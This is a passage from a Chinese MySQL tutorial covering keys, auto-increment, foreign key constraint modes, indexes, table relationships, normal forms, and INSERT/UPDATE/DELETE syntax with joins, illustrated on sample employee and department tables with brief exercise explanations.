    set character_set_results=gbk; / set names gbk;

    以上操作,只针对当前窗口有效果,如果关闭了服务器便失效。如果想要永久修改,通过以下方式:

    在mysql安装目录下有my.ini文件

    default-character-set=gbk 客户端编码设置

    character-set-server=utf8 服务器端编码设置

    注意:修改完成配置文件,重启服务

     

     

     

    第4章 字段属性

    主键, 唯一键和自增长.

    4.1 主键

    主键: primary key,主要的键. 一张表只能有一个字段可以使用对应的键, 用来唯一的约束该字段里面的数据, 不能重复: 这种称之为主键.

    一张表只能有最多一个主键, 主键请尽量使用整数类型而不是字符串类型

    4.1.1增加主键

    SQL操作中有多种方式可以给表增加主键: 大体分为三种.

    方案1: 在创建表的时候,直接在字段之后,跟primary key关键字(主键本身不允许为空)

    优点: 非常直接; 缺点: 只能使用一个字段作为主键

     

    方案2: 在创建表的时候, 在所有的字段之后, 使用primary key(主键字段列表)来创建主键(如果有多个字段作为主键,可以是复合主键)

     

    方案3: 当表已经创建好之后, 额外追加主键: 可以通过修改表字段属性, 也可以直接追加.

    Alter table 表名  add primary key(字段列表);

    前提: 表中字段对应的数据本身是独立的(不重复)

     

    4.1.2 主键约束

    创建约束的目的就是保证数据的完整性和一致性。

    主键对应的字段中的数据必须唯一,且不能为NULL, 一旦重复,数据操作失败(增和改)

    建议主键使用数字类型,因为数字的检索速度非常快,并且主键如果是数字类型,还可以设置自动增长。

    主键的原理其实就是一个计数器。

     

    4.1.3 更新主键 & 删除主键

    没有办法更新主键: 主键必须先删除,才能增加.

    Alter table 表名 drop primary key;

     

    4.1.4 主键分类

    在实际创建表的过程中, 很少使用真实业务数据作为主键字段(业务主键,如学号,课程号); 大部分的时候是使用逻辑性的字段(字段没有业务含义,值是什么都没有关系), 将这种字段主键称之为逻辑主键.

    Create table my_student(
    
    Id int primary key auto_increment comment ‘逻辑主键: 自增长’, -- 逻辑主键
    
    Number char(10) not null  comment ‘学号’,
    
    Name varchar(10) not null
    
    )
    
    

     

    4.2 自动增长

    自增长: 当对应的字段,不给值,或者说给默认值,或者给NULL的时候, 会自动的被系统触发, 系统会从当前字段中已有的最大值再进行+1操作,得到一个新的在不同的字段.

    自增长的字段必须定义为主键,默认起始值是1而不是0

     

    4.2.1 新增自增长

    自增长特点: 

       任何一个字段要做自增长必须前提是本身是一个索引(key一栏有值),auto_increment表示自动编号

     

       自增长字段必须是数字(整型)

     

      一张表最多只能有一个自增长

     

    4.2.2 自增长使用

    当自增长被给定的值为NULL或者默认值的时候会触发自动增长.

     

    自增长如果对应的字段输入了值,那么自增长失效: 但是下一次还是能够正确的自增长(从最大值+1)

     

    如何确定下一次是什么自增长呢? 可以通过查看表创建语句看到.

     

    4.2.3 修改自增长

    自增长如果是涉及到字段改变: 必须先删除自增长,后增加(一张表只能有一个自增长)

     

    修改当前自增长已经存在的值: 修改只能比当前已有的自增长的最大值大,不能小(小不生效)

    Alter table 表名 auto_increment  = 值;

     

    向上修改可以

     

    思考: 为什么自增长是从1开始?为什么每次都是自增1呢?

    所有系统的变现(如字符集,校对集)都是由系统内部的变量进行控制的.

    查看自增长对应的变量: show variables like ‘auto_increment%’;

     

    可以修改变量实现不同的效果: 修改是对整个数据修改,而不是单张表: (修改是会话级)

    Set auto_increment_increment = 5; -- 一次自增5

     

    测试效果: 自动使用自增长

     

    4.2.4 删除自增长

    自增长是字段的一个属性: 可以通过modify来进行修改(保证字段没有auto_increment即可)

    Alter table 表名 modify 字段 类型;

     

    4.3 唯一键

    一张表往往有很多字段需要具有唯一性,数据不能重复: 但是一张表中只能有一个主键: 唯一键(unique key)就可以解决表中有多个字段需要唯一性约束的问题.

    唯一键的本质与主键差不多: 唯一键默认的允许自动为空,而且可以多个为空(空字段不参与唯一性比较)

     

    4.3.1 增加唯一键

    基本与主键差不多: 三种方案

    方案1: 在创建表的时候,字段之后直接跟unique/ unique key

     

    方案2: 在所有的字段之后增加unique key(字段列表); -- 复合唯一键

     

    方案3: 在创建表之后增加唯一键

     

    4.3.2 唯一键约束

    唯一键与主键本质相同: 唯一的区别就是唯一键默认允许为空,而且是多个为空.

    如果唯一键也不允许为空: 与主键的约束作用是一致的.

     

    4.3.3 更新唯一键 & 删除唯一键

    更新唯一键

    先删除后新增(唯一键可以有多个: 可以不删除).

    删除唯一键

    Alter table 表名 drop unique key; -- 错误: 唯一键有多个

    Alter table 表名 drop index 索引名字; -- 唯一键默认的使用字段名作为索引名字

     

    4.4 外键

    外键: foreign key, 外面的键(键不在自己表中): 如果一张表中有一个字段(非主键)指向另外一张表的主键,那么将该字段称之为外键.

    4.4.1 增加外键

    外键可以在创建表的时候或者创建表之后增加(但是要考虑数据的问题).

    一张表可以有多个外键.

     

    创建表的时候增加外键: 在所有的表字段之后,使用foreign key(外键字段) references 外部表(主键字段)

     

    在新增表之后增加外键: 修改表结构

    Alter table 表名 add [constraint 外键名字] foreign key(外键字段) references 父表(主键字段);

     

    4.4.2 修改外键&删除外键

    外键不可修改

    只能先删除后新增.

    删除外键语法

    Alter table 表名 drop foreign key 外键名; -- 一张表中可以有多个外键,但是名字不能相同

     

    4.4.3 外键作用

    外键默认的作用有两点: 一个对父表,一个对子表(外键字段所在的表)

     

    对子表约束: 子表数据进行写操作(增和改)的时候, 如果对应的外键字段在父表找不到对应的匹配: 那么操作会失败.(约束子表数据操作)

     

    对父表约束: 父表数据进行写操作(删和改: 都必须涉及到主键本身), 如果对应的主键在子表中已经被数据所引用, 那么就不允许操作

     

    4.4.4 外键条件

    1.外键要存在: 首先必须保证表的存储引擎是innodb(默认的存储引擎): 如果不是innodb存储引擎,那么外键可以创建成功,但是没有约束效果.
    2.外键字段的字段类型(列类型)必须与父表的主键类型完全一致.
    3.一张表中的外键名字不能重复.
    4,增加外键的字段(数据已经存在),必须保证数据与父表主键要求对应.

     

    4.4.5 外键约束

    所谓外键约束: 就是指外键的作用.

    之前所讲的外键作用: 是默认的作用; 其实可以通过对外键的需求, 进行定制操作.

    需要注意的是:外键约束的定义是写在子表上的,但是不推荐使用外键约束

    MySQL字段约束有四种,主键约束,非空约束,唯一约束,外键约束。外键约束是唯一不推荐的约束

    提示:主键约束其实就是非空约束和唯一约束合二为一的情况

     

    外键约束有三种约束模式: 都是针对父表的约束(子表约束父表)

    District: 严格模式(默认的), 父表不能删除或者更新一个已经被子表数据引用的记录

    Cascade: 级联模式: 父表的操作, 对应子表关联的数据也跟着被删除

    Set null: 置空模式: 父表的操作之后,子表对应的数据(外键字段)被置空

     

    通常的一个合理的做法(约束模式): 删除的时候子表置空, 更新的时候子表级联操作

    指定模式的语法

    Foreign key(外键字段) references 父表(主键字段) on delete set null on update cascade;

     

    更新操作: 级联更新

     

    删除操作: 置空

     

    删除置空的前提条件: 外键字段允许为空(如果不满足条件,外键无法创建)

    外键虽然很强大, 能够进行各种约束: 但是对于PHP来讲, 外键的约束降低了PHP对数据的可控性: 通常在实际开发中, 很少使用外键来处理.

     

    4.4.6 创建外键约束的要求

    创建外键约束的目的是保持数据一致性和完整性,以及实现一对一或者一对多的关系。

    创建外键约束要求有以下几点:

    1. 父表和子表必须使用相同的存储引擎,而且禁止使用临时表。

    注意:具有外键列的表称为子表;子表所参照的表称为父表。

    2. 数据表的存储引擎只能是InnoDB。

    3. 外键列和参照列必须具有相似的数据类型。其中数字的长度或是否有符号位必须相同;而字符的长度则可以不同。

    注意:加 FOREIGN KEY 关键字的列称为外键列;外键列所参照的列称为参照列。

    4. 外键列和参照列必须创建索引。如果外键列不存在索引的话,MySQL将自动创建索引。如果参照列不存在索引的话,MySQL不会自动创建索引。

    注意:MySQL会为主键自动创建索引。

     

    4.4.7 外键约束的闭环问题

    比如说我们创建了2张表

    /*先创建父表*/
    CREATE TABLE t_dept(
    	deptno INT UNSIGNED PRIMARY KEY,
    	dname VARCHAR(20) NOT NULL UNIQUE,
    	tel CHAR(4) UNIQUE
    )
    /*再创建子表*/
    CREATE TABLE t_emp(
    	empno INT UNSIGNED PRIMARY KEY,
    	ename VARCHAR(20) NOT NULL,
    	sex ENUM("男", "女") NOT NULL,
    	deptno INT UNSIGNED NOT NULL,
    	hiredate DATE NOT NULL,
    	FOREIGN KEY (deptno) REFERENCES t_dept(deptno)
    );

    父表t_dept加一个数据如下:

    子表t_emp加一个数据如下:

    此时我想删除父表的数据,结果报错

    结果发现有子表t_emp外键约束着父表,删除失败。必须先删除子表的约束数据才能删除父表的数据,那这样就失去了增减改查的灵活性了,并且更严重的是,

    如果形成外键闭环,我们将无法删除任何一张表的数据记录。

    如上图,A约束B,B约束C......,这样每一个表都算作父表,所谓的先删除子表的数据就是不可能的。因为有外键闭环的存在,所以我们不推荐外键约束

     

    4.5 索引

    几乎所有的索引都是建立在字段之上.

    索引: 系统根据某种算法, 将已有的数据(未来可能新增的数据),单独建立一个文件: 文件能够实现快速的匹配数据, 并且能够快速的找到对应表中的记录.

    4.5.1 创建索引

    建表的时候创建索引,也可以在已存在的表上添加索引。

    CREATE TABLE 表名称(
           ......,
           INDEX [索引名称] (字段),
           ......
    );

    CREATE TABLE t_message(
    	id INT UNSIGNED PRIMARY KEY,
    	content VARCHAR(200) NOT NULL,
    	type ENUM("公告", "通报", "个人通知") NOT NULL,
    	create_time TIMESTAMP NOT NULL,
    	INDEX idx_type (type)
    );

    4.5.2 添加索引

    向已存在的表中添加索引的方式如下

    CREATE INDEX 索引名称 ON 表名(字段);  /*添加索引方式1*/

    ALTER TABLE 表名 ADD INDEX 索引名称(字段); /*添加索引方式2*/

    CREATE INDEX idx_type ON t_message(type); /*添加索引方式1*/
    
    ALTER TABLE t_message ADD INDEX idx_type(type);/*添加索引方式2*/

     经常被用来做检索条件的字段需要加上索引,内部是二叉树,所以查询很快。如果是几千条数据,不必加索引,全盘检索也很快

    练习题:

    已有新闻表(tb_news),表中有type字段,下列选中项中能为该字段添加索引的是?

    这个就是记忆题目,记住语法即可,答案是AC

     

    4.5.3 查询索引

    SHOW INDEX FROM 表名;

    /*查看t_message表的索引*/
    SHOW INDEX FROM t_message;

     查出来如下,有添加的普通索引和主键索引

     

    4.5.4 删除索引

    DROP INDEX 索引名称 ON 表名;

    /* 在t_message表中删除idx_type索引 */
    DROP INDEX idx_type ON t_message;

     

    4.5.5 索引的使用原则

    1. 数据量很大,且经常被查询的数据表可以设置索引  (即读多写少的表可以设置索引)

    2. 索引只添加在经常被用作检索条件的字段上 (比如电子商城需要在物品名称关键字加索引)

    3.不要在大字段上创建索引 (比如长度很长的字符串不适合做索引,因为查找排序时间变的很长)

     

    4.5.6 索引的意义

    提升查询数据的效率
    约束数据的有效性(唯一性等)
    增加索引的前提条件: 索引本身会产生索引文件(有时候有可能比数据文件还大) ,会非常耗费磁盘空间.

     

    如果某个字段需要作为查询的条件经常使用, 那么可以使用索引(一定会想办法增加);

    如果某个字段需要进行数据的有效性约束, 也可能使用索引(主键,唯一键)

     

    Mysql中提供了多种索引

    主键索引: primary key
    唯一索引: unique key
    全文索引: fulltext index
    普通索引: index
    全文索引: 针对文章内部的关键字进行索引

    全文索引最大的问题: 在于如何确定关键字

     

    英文很容易: 英文单词与单词之间有空格

    中文很难: 没有空格, 而且中文可以各种随意组合(分词: sphinx)

     

    第5章 关系

    将实体与实体的关系, 反应到最终数据库表的设计上来: 将关系分成三种: 一对一, 一对多(多对一)和多对多.

    所有的关系都是指的表与表之间的关系.

    5.1 一对一

    一对一: 一张表的一条记录一定只能与另外一张表的一条记录进行对应; 反之亦然.

    学生表: 姓名,性别,年龄,身高,体重,婚姻状况, 籍贯, 家庭住址,紧急联系人

    Id(P)

    姓名

    性别

    年龄

    体重

    身高

    婚姻

    籍贯

    住址

    联系人

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    表设计成以上这种形式: 符合要求. 其中姓名,性别,年龄,身高,体重属于常用数据; 但是婚姻,籍贯,住址和联系人属于不常用数据. 如果每次查询都是查询所有数据,不常用的数据就会影响效率, 实际又不用.

     

    解决方案: 将常用的和不常用的信息分离存储,分成两张表

    常用信息表

    Id(P)

    姓名

    性别

    年龄

    体重

    身高

    1

     

     

     

     

     

     

     

     

     

     

     

    不常用信息表: 保证不常用信息与常用信息一定能够对应上: 找一个具有唯一性(确定记录)的字段来共同连接两张表

    Id(P)

    婚姻

    籍贯

    住址

    联系人

    2

     

     

     

     

    1

     

     

     

     

    一个常用表中的一条记录: 永远只能在一张不常用表中匹配一条记录;反过来,一个不常用表中的一条记录在常用表中也只能匹配一条记录: 一对一的关系

     

    5.2 一对多

    一对多: 一张表中有一条记录可以对应另外一张表中的多条记录; 但是返回过, 另外一张表的一条记录只能对应第一张表的一条记录. 这种关系就是一对多或者多对一.

     

    母亲与孩子的关系: 母亲,孩子两个实体

    妈妈表

    ID(P)

    名字

    年龄

    性别

     

     

     

     

     

     

     

     

    孩子表

    ID(P)

    名字

    年龄

    性别

     

     

     

     

     

     

     

     

    以上关系: 一个妈妈可以在孩子表中找到多条记录(也有可能是一条); 但是一个孩子只能找到一个妈妈: 是一种典型的一对多的关系.

     

    但是以上设计: 解决了实体的设计表问题, 但是没有解决关系问题: 孩子找不出妈,妈也找不到孩子.

     

    解决方案: 在某一张表中增加一个字段,能够找到另外一张表的中记录: 应该在孩子表中增加一个字段指向妈妈表: 因为孩子表的记录只能匹配到一条妈妈表的记录.

     

    妈妈表

    ID(P)

    名字

    年龄

    性别

     

     

     

     

     

     

     

     

    孩子表

    ID(P)

    名字

    年龄

    性别

    妈妈ID

     

     

     

     

    妈妈表主键

     

     

     

     

     

     

    5.3多对多

    多对多: 一张表中(A)的一条记录能够对应另外一张表(B)中的多条记录; 同时B表中的一条记录也能对应A表中的多条记录: 多对多的关系

     

    老师教学: 老师和学生

    老师表

    T_ID(P)

    姓名

    性别

    1

    A

    2

    B

     

    学生表

    S_ID(P)

    姓名

    性别

    1

    张三

    2

    小芳

    以上设计方案: 实现了实体的设计, 但是没有维护实体的关系.

    一个老师教过多个学生; 一个学生也被多个老师教过.

     

    解决方案: 在学生表中增加老师字段: 不管在哪张表中增加字段, 都会出现一个问题: 该字段要保存多个数据, 而且是与其他表有关系的字段, 不符合表设计规范: 增加一张新表: 专门维护两张表之间的关系

    老师表

    T_ID(P)

    姓名

    性别

    1

    A

    2

    B

    学生表

    S_ID(P)

    姓名

    性别

    1

    张三

    2

    小芳

    中间关系表: 老师与学生的关系

    ID

    T_ID(老师)

    S_ID(学生)

    1

    1

    1

    2

    1

    2

    3

    2

    1

    4

     

     

     

    增加中间表之后: 中间表与老师表形成了一对多的关系: 而且中间表是多表,维护了能够唯一找到一表的关系; 同样的,学生表与中间表也是一个一对多的关系: 一对多的关系可以匹配到关联表之间的数据.

     

    学生找老师: 找出学生id -> 中间表寻找匹配记录(多条) -> 老师表匹配(一条)

    老师找学生: 找出老师id -> 中间表寻找匹配记录(多条) -> 学生表匹配(一条)

     

    第6章 范式

    范式: Normal Format, 是一种离散数学中的知识, 是为了解决一种数据的存储与优化的问题: 保存数据的存储之后, 凡是能够通过关系寻找出来的数据,坚决不再重复存储: 终极目标是为了减少数据的冗余.

     

    范式: 是一种分层结构的规范, 分为六层: 每一次层都比上一层更加严格: 若要满足下一层范式,前提是满足上一层范式.

     

    六层范式: 1NF,2NF,3NF...6NF, 1NF是最底层,要求最低;6NF最高层,最严格.

     

    Mysql属于关系型数据库: 有空间浪费: 也是致力于节省存储空间: 与范式所有解决的问题不谋而合: 在设计数据库的时候, 会利用到范式来指导设计.

    但是数据库不单是要解决空间问题,要保证效率问题: 范式只为解决空间问题, 所以数据库的设计又不可能完全按照范式的要求实现: 一般情况下,只有前三种范式需要满足.

     

    范式在数据库的设计当中是有指导意义: 但是不是强制规范.

     

    6.1 1NF

    第一范式: 在设计表存储数据的时候, 如果表中设计的字段存储的数据,在取出来使用之前还需要额外的处理(拆分),那么说表的设计不满足第一范式。

    第一范式要求字段的数据具有原子性: 不可再分.

    第一范式是数据库的基本要求,不满足第一范式就不是关系型数据库

    让我们简单化这个问题:

    1NF---原子性

    eg1:

    数据表的每一列都是不可分割的基本数据项,同一列中不能有多个值,也不能存在重复的属性。

    eg2:

    讲师代课表

    讲师

    性别

    班级

    教室

    代课时间

    代课时间(开始,结束)

    朱元璋

    Male

    php0226

    D302

    30天

    2014-02-27,2014-05-05

    朱元璋

    Male

    php0320

    B206

    30天

    2014-03-21,2014-05-30

    李世民

    Male

    php0320

    B206

    15天

    2014-06-01,2014-06-20

    上表设计不存在问题: 但是如果需求是将数据查出来之后,要求显示一个老师从什么时候开始上课,到什么时候节课: 需要将代课时间进行拆分: 不符合1NF, 数据不具有原子性, 可以再拆分.

    解决方案: 将代课时间拆分成两个字段就解决问题.

     

    6.2 2NF

    第二范式: 在数据表设计的过程中,如果有复合主键(多字段主键), 且表中有字段并不是由整个主键来确定, 而是依赖主键中的某个字段(主键的部分): 存在字段依赖主键的部分的问题, 称之为部分依赖: 第二范式就是要解决表设计不允许出现部分依赖.

    定义太绕了,简单点:

    2NF---唯一性

    数据表中的每条记录必须是唯一的。为了实现区分,通常要为表加上一个列来存储唯一标识,这个唯一属性列被称作主键列

    eg1:

    学号为230的学生在2018-07-15考试第一次58没及格,然后当天补考第二次还是58没及格,于是数据库就有了重复的数据。解决办法就是添加一个流水号,让数据变得唯一。

    eg2:

    讲师带课表

    以上表中: 因为讲师没有办法作为独立主键, 需要结合班级才能作为主键(复合主键: 一个老师在一个班永远只带一个阶段的课): 代课时间,开始和结束字段都与当前的代课主键(讲师和班级): 但是性别并不依赖班级, 教室不依赖讲师: 性别只依赖讲师, 教室只依赖班级: 出现了性别和教室依赖主键中的一部分: 部分依赖.不符合第二范式.

     

    解决方案1: 可以将性别与讲师单独成表, 班级与教室也单独成表.

    解决方案2: 取消复合主键, 使用逻辑主键

    ID = 讲师 + 班级(业务逻辑约束: 复合唯一键)

     

    6.3 3NF

    要满足第三范式,必须满足第二范式

    第三范式: 理论上讲,应该一张表中的所有字段都应该直接依赖主键(逻辑主键: 代表的是业务主键), 如果表设计中存在一个字段, 并不直接依赖主键,而是通过某个非主键字段依赖,最终实现依赖主键: 把这种不是直接依赖主键,而是依赖非主键字段的依赖关系称之为传递依赖. 第三范式就是要解决传递依赖的问题.

    定义很绕,我们简单点:

    3NF---关联性

    每列都与主键有直接关系,不存在传递依赖

    eg1:

    根据主键爸爸能关联儿子女儿,但是女儿的玩具、衣服都不是依赖爸爸的,而是依赖女儿的,这些东西不是与爸爸有直接关系,所以拆分两个表。

    儿子女儿依赖于爸爸,女儿的玩具、衣服依赖于女儿。

    满足第三范式后,检索、提取数据非常方便,如果不满足,虽然表也能建成功,但是检索就会花费很多时间,比如如果是第一个表,逻辑上要找女儿的衣服,去查找女儿是找不到的,此时女儿不是主键。数据表拆分之后,根据主键列女儿陈婷婷,可以很快的找到女儿的衣服校服。主键查找是很快的。

    依照第三范式,数据可以拆分到不同的数据表,彼此保持关联

     

    eg2:

    讲师带课表

    以上设计方案中: 性别依赖讲师存在, 讲师依赖主键; 教室依赖班级,班级依赖主键: 性别和教室都存在传递依赖.

     

    解决方案: 将存在传递依赖的字段,以及依赖的字段本身单独取出,形成一个单独的表, 然后在需要对应的信息的时候, 使用对应的实体表的主键加进来.

    讲师代课表

     

       讲师表                                                                               班级表

                                 

               讲师表: ID = 讲师                                                               班级表中: ID = 班级

     

    6.4 逆规范化

    有时候, 在设计表的时候,如果一张表中有几个字段是需要从另外的表中去获取信息. 理论上讲, 的确可以获取到想要的数据, 但是就是效率低一点. 会刻意的在某些表中,不去保存另外表的主键(逻辑主键), 而是直接保存想要的数据信息: 这样一来,在查询数据的时候, 一张表可以直接提供数据, 而不需要多表查询(效率低), 但是会导致数据冗余增加.

     

    如讲师代课信息表

    逆规范化: 磁盘利用率与效率的对抗

     

    第7章 数据高级操作

    数据操作: 增删改查

     

    7.1 新增数据

    基本语法

    Insert into 表名 [字段1,字段2,......] values (值1,值2,......); /*插入单条记录*/

    Insert into 表名 [字段1,字段2,......] values (值1,值2,......), (值1,值2,......); /*插入多条记录*/

    表名后面不写字段列表也可以插入数据,但是会影响速度。Mysql会进行词法分析,找到对应表结构,然后自动给你补上字段列表。所以表名后面不写字段列表,数据库难以高效的操作。

    INSERT INTO t_dept(deptno, dname, loc)
    VALUES(50, "技术部", "北京");

    INSERT INTO t_dept(deptno, dname, loc)
    VALUES(60, "后勤部", "北京"),(70,"保安部","北京");

     

    eg:向技术部添加一条员工记录

    分析:测验insert语句里面子查询的问题,并且这个子查询是单行子查询,不能是多行子查询,还必须是单行单列的。

    INSERT INTO t_emp
    (empno, ename, job, mgr, hiredate, sal, comm, deptno)
    VALUES(8001, "刘娜", "SALESMAN", 8000, "1988-12-20", 2000, NULL,
    (SELECT deptno FROM t_dept WHERE dname="技术部"));

    练习题

    答案选D,A错在scholarship字段没有数据去匹配,数据库会报错,可以填写NULL解决错误,或者删掉INSERT字段列表中的字段。B错在部门编号deptno却写成"食品工程系",C错在人名"赵菲菲"没写成字符串形式,要加上影号。

     

    INSERT语句方言

    MySQL的INSERT语句还有一种方言语法

    INSERT INTO 表名 SET 字段1=值1, 字段2=值2......

    为什么称之为方言语法呢?就是因为这个语法只能在MySQL使用,不能在Oracle使用,当然你只用MySQL就可以使用这种方言语法,很简洁。

    INSERT INTO t_emp
    SET empno=8002,ename="JACK",job="SALESMAN",mgr=8000,
    hiredate="1985-3-14",sal=2500,comm=NULL,deptno=50;

     

    在数据插入的时候, 假设主键对应的值已经存在: 插入一定会失败!

     

    7.1.1 IGNORE关键字

    IGNORE关键字只会插入数据库不存在的记录。比如主键冲突、唯一性冲突,数据库会报错,加上IGNORE之后数据库会忽略这条数据不会报错。

    INSERT [IGNORE] INTO 表名 ......;

    INSERT IGNORE INTO t_dept(deptno, dname, loc)
    VALUES(70, "A", "北京"), (80, "B", "上海"); /*70部门已经存在*/

     

    7.1.2 主键冲突

    当主键存在冲突的时候(Duplicate key),你可以添加ignore关键字选择忽略,数据库不会报错,但是确实非得添加这个记录怎么办呢?可以选择性的进行处理: 更新和替换

    主键冲突:更新操作

    Insert into 表名[(字段列表:包含主键)] values(值列表) on duplicate key update 字段 = 新值; (这个语法sql单独执行没问题,在mybatis会报错,找不到你想要的参数)

    要想兼容mysql和mybatis两者,这里强烈建议不要用等号赋值
    Insert into 表名[(字段列表:包含主键)] values(值列表) on duplicate key update 字段 = values(字段);

    下图例子我忘记改了,应该改为...on duplicate key update room = values(room),而不是room = 'B205',记住不要用等号直接赋值,mybatis会报错。

     

    主键冲突: 替换

    Replace into 表名 [(字段列表:包含主键)] values(值列表);

     

    7.1.3 蠕虫复制

    蠕虫复制: 从已有的数据中去获取数据,然后将数据又进行新增操作: 数据成倍的增加.

     

    表创建高级操作: 从已有表创建新表(复制表结构)

    Create table 表名 like 数据库.表名;

     

    蠕虫复制: 先查出数据, 然后将查出的数据新增一遍

    Insert into 表名[(字段列表)] select 字段列表/* from 数据表名;

    蠕虫复制的意义

    从已有表拷贝数据到新表中
    可以迅速的让表中的数据膨胀到一定的数量级: 测试表的压力以及效率
     

     

    7.2 更新数据

    基本语法

    UPDATE [IGNORE] 表名 SET 字段1=值1, 字段2=值2, ......
    [WHERE 条件1 ......]
    [ORDER BY ......]
    [LIMIT ......];

    注意,如果这里有limit关键字,那么后面只能跟一个参数,即表示取前多少条数据,这里的limit不能有2个参数,ignore表示更新失败就直接忽略而不是报错。

    eg1:把每个员工的编号和他上司的编号+1,用order by子句完成

    UPDATE t_emp SET empno=empno+1, mgr=mgr+1
    ORDER BY empno DESC;

    eg2:把月收入前三名的员工底薪减100元,用LIMIT子句完成

    UPDATE t_emp
    SET sal=sal-100
    ORDER BY sal+IFNULL(comm,0) DESC
    LIMIT 3;

    eg3:把10部门中,工龄达到20年的员工,底薪增加200元

    UPDATE t_emp
    SET sal=sal+200
    WHERE deptno=10 AND DATEDIFF(NOW(),hiredate)/365 >= 20

    eg:更新未排序的前3条数据,前3个出现的name为a的改为name为c

    练习题

    答案选A,因为B是升序排列,应该按照降序才取得到前3名,C项UPDATE子句就是错误的用法,D项LIMIT子句参数只能写一个,LIMIT子句在UPDATE中只能包含有一个参数,代表取前3条数据。

     

     

    7.2.1 UPDATE语句中的内连接

    因为相关子查询效率非常低,所以我们可以利用表连接的方式来改造UPDATE语句

    UPDATE 表1 JOIN 表2 ON 条件
    SET 字段1=值1, 字段2=值2, ......;

    引申出另一种写法

    UPDATE 表1 JOIN 表2
    SET 字段1=值1, 字段2=值2, ......
    WHERE 条件;

    表连接的UPDATE语句可以修改多张表的记录

    eg:把ALLEN调往RESEARCH部门,职务调整为ANALYST

    /*表连接的几种写法*/
    UPDATE t_emp e JOIN t_dept d ON e.ename="ALLEN" AND d.dname="RESEARCH"
    SET e.deptno=d.deptno, e.job="ANALYST"
    
    UPDATE t_emp e JOIN t_dept d
    SET e.deptno=d.deptno, e.job="ANALYST"
    WHERE e.ename="ALLEN" AND d.dname="RESEARCH"
    
    UPDATE t_emp e,t_dept d
    SET e.deptno=d.deptno, e.job="ANALYST"
    WHERE e.ename="ALLEN" AND d.dname="RESEARCH"

     

    分析:其实利用的是笛卡尔积,笛卡尔积一般对于我们连接没什么用,恰恰这里就起了作用,这个例子可以好好推敲一下,表连接的条件直接将ALLEN这个人连接到RESEARCH部门,RESEARCH部门号是20,赋值给ALLEN的部门号就成功修改,接着修改职务即可。

     

    eg:把底薪低于公司平均底薪的员工,底薪增加150元

    sql语句如下

    UPDATE t_emp e JOIN
    (SELECT AVG(sal) avg FROM t_emp) t
    ON e.sal<t.avg
    SET e.sal=e.sal+150;

    执行结果就不演示了,从逻辑上也很好理解。

     

    练习题

    答案选B,和我们上面讲的例子一模一样,即学即用,A项错在标点符号,stu,deptno,这里不是逗号i而是点,C项错在where条件是and而不是or,D项错在update子句不用join的写法连接表,后面条件只能跟where而不是on。

     

    7.2.2 UPDATE语句中的外连接

    UPDATE语句的表连接既可以是内连接,又可以是外连接。

    基本语法

    UPDATE 表1 [LEFT | RIGHT] JOIN 表2 ON 条件
    SET 字段1=值1, 字段2=值2, ......;

    eg:把没有部门的员工,或者SALES部门低于2000元底薪的员工,都调往20部门

    UPDATE t_emp e LEFT JOIN t_dept d ON e.deptno=d.deptno
    SET e.deptno=20
    WHERE e.deptno IS NULL OR (d.dname="SALES" AND e.sal<2000);

    练习题

    答案选C,根据题意,需要保留没有系别的学生,肯定是左连接,A错,B选项的左连接没有写on条件,B错,D选项筛选数据时是and最后会导致没有数据,应该是or。

     

    7.3 删除数据

    基本语法

    DELETE [IGNORE] FROM 表名
    [WHERE 条件1, 条件2, ...]
    [ORDER BY ...]
    [LIMIT ...];

    子句执行顺序:FROM -> WHERE -> ORDER BY -> LIMIT -> DELETE

    ignore表示删除失败就直接忽略而不是报错。

    有了前面新增、更新数据的基础,下面的例子我就不展示数据表的变化了,基本语法比较容易理解。

    eg1:删除10部门中,工龄超过20年的员工记录

    DELETE from t_emp
    WHERE deptno=10 AND DATEDIFF(NOW(),hiredate)/365 >20;

    eg2:删除20部门中工资最高的员工记录

    DELETE FROM t_emp
    WHERE deptno=20
    ORDER BY sal+IFNULL(comm,0) DESC
    LIMIT 1;

    提示:如果表中存在主键自增长,那么当删除之后, 自增长不会还原,下一条数据记录插入会在上一次计数的基础继续增加

    练习题

    答案选A,B错在这里的limit只能写一个参数,C错在删除了奖学金最低的人,应该desc降序排列才对,D错在没有限制条件limit。

     

    7.3.1 DELETE语句中的内连接

    因为相关子查询的效率非常低,所以我们可以利用表连接的方式来改造DELETE语句

    DELETE 表1, ... FROM 表1 JOIN 表2 ON 条件
    [WHERE 条件1, 条件2, ...]
    [ORDER BY ...]
    [LIMIT ...];

    eg1:删除SALES部门该部门的全部员工记录

    DELETE e,d
    FROM t_emp e JOIN t_dept d ON e.deptno=d.deptno
    WHERE d.dname="SALES";

     

    eg2:删除每个低于部门平均底薪的员工记录

    DELETE e
    FROM t_emp e JOIN
    (SELECT deptno, AVG(sal) avg FROM t_emp GROUP BY deptno) t
    ON e.deptno=t.deptno AND e.sal<t.avg;

    eg3:删除员工KING和他的下属的员工记录,用表连接实现

    DELETE e
    FROM t_emp e JOIN
    (SELECT empno FROM t_emp WHERE ename="KING") t
    ON e.mgr=t.empno OR e.empno=t.empno;

    注意,t 这个临时表是不能删除的,表连接出来的记录就是KING的员工下属和KING本身,删除e即可满足要求。数据表的图示操作就不演示了。

     

    练习题

    答案选C,即学即用,A错在没按照deptno条件连接,删除了太多无关记录,B错在delete语句中有表连接却没有指定删除的表名,D错在没有分组,查询出来的平均奖学金作为条件没有意义。

    7.3.2 DELETE语句中的外连接

    基本语法

    DELETE 表1, ... FROM 表1 [LEFT | RIGHT] JOIN 表2 ON 条件
    [WHERE 条件1, 条件2, ...]
    [ORDER BY ...]
    [LIMIT ...]

    eg:删除SALES部门的员工,以及没有部门的员工

    这里注意对比上一小节第一个例题,上一小节是删除SALES部门的员工,这里还要删除没有部门的员工,这就是内连接和外连接在这里使用的区别。

    DELETE e
    FROM t_emp e LEFT JOIN t_dept d ON e.deptno=d.deptno
    WHERE d.dname="SALES" OR e.deptno IS NULL;

     练习题

    答案选B,即学即用,就是上面一个知识点。A错在判断为空是 IS NULL不是=NULL,C错在where条件dept.dept-no拼写错误,D错在删除的食品工程系和没有系别的学生应该是并集而不是交集的关系,所以是or而不是and。

     

    7.3.3 快速删除数据表全部记录

    DELETE语句是在事务机制下删除记录,删除记录之前,先把要删除的记录保存到日志文件里,然后再删除记录。

    TRUNCATE语句在事务机制之外删除记录,速度远超过DELETE语句。

    语法

    TRUNCATE TABLE 表名;

     

    7.4 查询数据

    完整语法

    Select [字段别名]/* from 数据源 [where条件子句] [group by子句] [having子句] [order by子句] [limit 子句];

     

    7.4.1 Select语句

